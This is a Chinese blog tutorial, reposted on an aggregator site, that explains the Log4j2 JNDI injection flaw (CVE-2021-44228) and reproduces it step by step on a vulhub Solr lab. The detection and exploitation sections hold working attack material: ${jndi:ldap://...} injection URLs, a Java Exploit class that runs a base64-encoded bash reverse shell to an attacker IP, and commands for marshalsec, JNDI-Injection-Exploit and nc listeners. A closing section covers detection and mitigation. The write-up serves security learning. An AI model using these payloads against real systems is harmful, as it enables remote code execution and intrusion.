log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

这篇具有很好参考价值的文章主要介绍了log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞原理

啥是log4j2?

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

啥是JNDI?

由于漏洞利用会涉及到JNDI注入相关的知识,这里简要做一个对JNDI的介绍。

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。

log4j2远程代码执行漏洞原理

cve编号:CVE-2021-44228

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

画个简单点的漏洞利用示意图,如下:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

尽可能画的详细一点,大概是下图。

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。

 靶场搭建

 靶机:Ubuntu  192.168.200.129(无所谓是不是Ubuntu,随便找个地方用docker启动就行)

用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令:

docker-compose up –d

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

查看一下端口:

Docker-compose up -d

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 发现端口是8983,浏览器访问http://192.168.200.129:8983/

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 漏洞检测

 用dnslog平台检测dns回显,看看有没有漏洞存在,网址为:DNSLog Platform

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 点击Get SubDomin获取一个子域名,我这里是3dto27.dnslog.cn

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3dto27.dnslog.cn }

 注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

返回刚才的DNSLog平台,点击刷新记录Refresh Record(可能比较慢,不要着急,可以多点几次Refresh Record),可以看到有数据:在DNS Query Record一栏下面出现了条目,回显了java版本1.8.0_102,说明存在log4j漏洞。

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

漏洞利用(获取反弹shell) 

我第一次复现的时候,直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar,可以在github上搜一下(后文会介绍),但我写博客的时候考虑到用这种工具感觉像是一键复现漏洞,对漏洞利用的每个步骤好像并不是很明确,所以我们还是先不用这种方法,还是老老实实自己编写一下恶意代码,启动一下恶意的http服务站点和LDAP服务,完整的演示一下过程。

靶机:Ubuntu  192.168.200.129 (随便找个地方用docker搭一下就行)

攻击机: kali  192.168.200.131 (无所谓是不是kali,windows都行)

方法一:编写恶意文件

我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip为192.168.200.131)的7777端口,因此对应的bash命令为:

bash -i >& /dev/tcp/192.168.200.131/7777 0>&1

然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

编码结果为:

 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

好的,有了编码结果,我们就可以编写恶意文件了,编写以下代码命名为Exploit.java。

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下:

javac Exploit.java

我是在物理机中编译的,编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了,需要还原一下(手动狗头)。把编译好的Exploit.class放到攻击机kali的随便一个目录下:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

并在此目录开启http服务,我这里把端口设置为了4444,命令如下:

python -m http.server 4444

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 然后浏览器访问攻击机ip:端口,我这里为192.168.200.131:4444 ,应该可以看到一个目录:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 读者只要保证你的站点目录里有Exploit.class就行,至于我目录里有啥其他的读者不用在意。接下来,我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启,这个工具在我的上一篇博客中有提到,详情见

(56条消息) Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客

下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar,下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中,我们是用这个工具建立了RMI 服务,这次我们是要用这个工具建立LDAP服务。

好了,废话说完了,现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://刚才http服务的地址:端口号/#Exploit" 1389

本例中的命令为:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.200.131:4444/#Exploit" 1389

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:

nc -lvvp 7777

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:

${jndi:ldap://192.168.200.131:1389/Exploit}

完整的url为:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

也可以用Burp抓包改包,但由于是get请求,直接输入url就行了。

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

访问上述url(别忘了把第一个ip改为靶机ip,第二个ip改为之前建立的LDAP服务的地址:端口号),应该就成功了,访问的页面回显如下:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 攻击机启动的LDAP服务的终端显示如下:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 攻击机开启的HTTP服务的终端显示如下:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 可以看到最后两条日志信息,靶机已经通过GET方法请求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

已经可以在攻击机执行任何代码了:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程) 这样就实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

 方法二:直接利用现成的JNDI注入工具

这种方法更为便捷,属于是一键部署了。用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)

下载之后还要用maven生成.jar可执行文件,在pom.xml目录下运行:mvn clean package -DskipTests   如果没有mvn,参阅

(51条消息) 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客

如果build成功,会生成一个target目录,里面会有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 使用这个工具,我们就不用自己编写恶意代码.class再上传服务器了,直接用这个工具输入对应的命令就行了。

与方法一类似,我们的目标是反弹shell到目标端口,反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

本例为(一会我们会在攻击机的一个终端监听6666端口):

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

还是要对这个命令进行base64编码,网址再贴一遍:

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

编码后的结果为:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 然后我们利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录运行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"

 本例为:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.131"

运行之后的终端显示如下:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 可以看到,这里已经一键部署好了RMI和LDAP服务的站点,并给出了路径,JDK1.8的版本为ldap://192.168.200.131:1389/Exploit,JDK1.7的版本为:ldap://192.168.200.131:1389/Exploit7 。这两个任选一个都行。

然后再打开一个终端,监听一个端口,本例监听的是6666(前面的反弹shell命令写的就是6666):

nc –lvvp 6666

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 最后一步和方法一一样,构造payload,由于是GET方式,浏览器访问以下任意一个url即可:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit7}

用rmi应该也行:

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit7}

这里以访问LDAP的Exploit为例:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 JNDI注入工具的终端显示如下:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 打开刚才监听的终端,成功获取了反弹shell:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

此时已经可以执行任意命令了:

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)这样就利用JNDI注入工具实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

也可以使用其他的注入工具,如JNDIExploit-1.4-SNAPSHOT.jar ,Github链接:WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改

这个工具是在攻击机的对应目录运行:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

  

然后监听个端口7777,再浏览器访问

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Basic/ReverseShell/192.168.200.131/7777}

之后就获得shell了。

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 如下图,攻击成功。

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

 结语

 log4j2是2021年底爆出的非常严重的漏洞,可谓是风靡一时,“血洗互联网”,也是安全公司面试的常见题目,我们应该了解这个漏洞的原理及利用方式。

如何排查是否受到了攻击?

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。

如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

这是我的第二篇CSDN博客,希望以后能坚持多写写网络安全相关的文章,还望读者们多多关注,多多支持。如果有什么问题,欢迎评论区讨论。

最后我在b站上看了一个对此漏洞进行复现的视频,讲的挺清楚的,这里给个链接吧:

【面试必问】Log4j漏洞复现及原理刨析,简单易懂_哔哩哔哩_bilibili文章来源地址https://www.toymoban.com/news/detail-456866.html

到了这里,关于log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java代码审计15之Apache log4j2漏洞

    2.1、高版本测试 先说结论,ldap协议, rmi协议 还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ” 2.2、测试代码 先引入组件, main.java jndiexp.java 2.3、补充之dns探测 2.3.1、rmi、ldap也可以dnslog探测 在使用dnslog探测漏洞的时候, 其实不仅仅dns协议可以,ldap和rmi协议也可以, 类似的rmi,

    2024年02月10日
    浏览(31)
  • Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码 环境:vulhub 工具下载地址: ysoserial 利用工具生成payload: 1.创建文件 进入容器内部,查看文件创建成功 2.查看反弹的shell 有点

    2024年02月11日
    浏览(34)
  • log4j2漏洞分析

    和前面的JNDI注入时用的代码差不多 如果要引入log4j2的jar包可以这么配置Maven的pom.xml 还要创建个配置文件 log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下 这个漏洞是个JNDI注入漏

    2024年02月09日
    浏览(38)
  • Log4j2 反序列化漏洞与复现

    Log4j → Log for Java ,Apache的开源日志记录组件 JDK →1.8u21以下的版本 CVE-2021-44228 远程代码执行 →2.15.0修复 CVE-2021-45046 拒绝服务Dos →2.16.0修复 CVE-2021-45105 拒绝服务Dos →2.17.0修复 CVE-2021-44832 远程代码执行 →2.17.1修复 Log4j为了输出日志时能输出任意位置的Java对象,引入了Looku

    2024年02月05日
    浏览(39)
  • Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

    Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 l

    2024年02月07日
    浏览(31)
  • [CVE-2021-44228]:log4j2漏洞学习与复现流程详解(vulhub环境)

    刚搭好vulhub,迫不及待的来复现一下2021-2022最潮最in的漏洞log4j2,因为算是热点了面试什么的的感觉都蛮容易被问到的,这里就来整理一下这个漏洞相关信息和漏洞复现的流程。 影响版本:log4j 2.x = 2.14.1 漏洞简介 首先肯定得简单了解一下log4j2到底是什么东西,log4j2是Apache的

    2024年02月08日
    浏览(31)
  • Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

    Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击

    2024年02月08日
    浏览(30)
  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(31)
  • Log4j远程代码执行漏洞

    简介 漏洞描述 Apache Log4j 是 Apache 的一个开源项目,Apache log4j-2 是 Log4j 的升级,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据日志

    2024年02月11日
    浏览(52)
  • Log4j2的Configuration详解

    官方配置文档: https://logging.apache.org/log4j/2.x/manual/filters.html 根节点 Configuration 参数介绍: Attribute Name Description name The name of the configuration. monitorInterval Log4j has the ability to automatically detect changes to the configuration file and reconfigure itself。 即动态加载,单位是秒。可自定义配置,最小

    2023年04月09日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包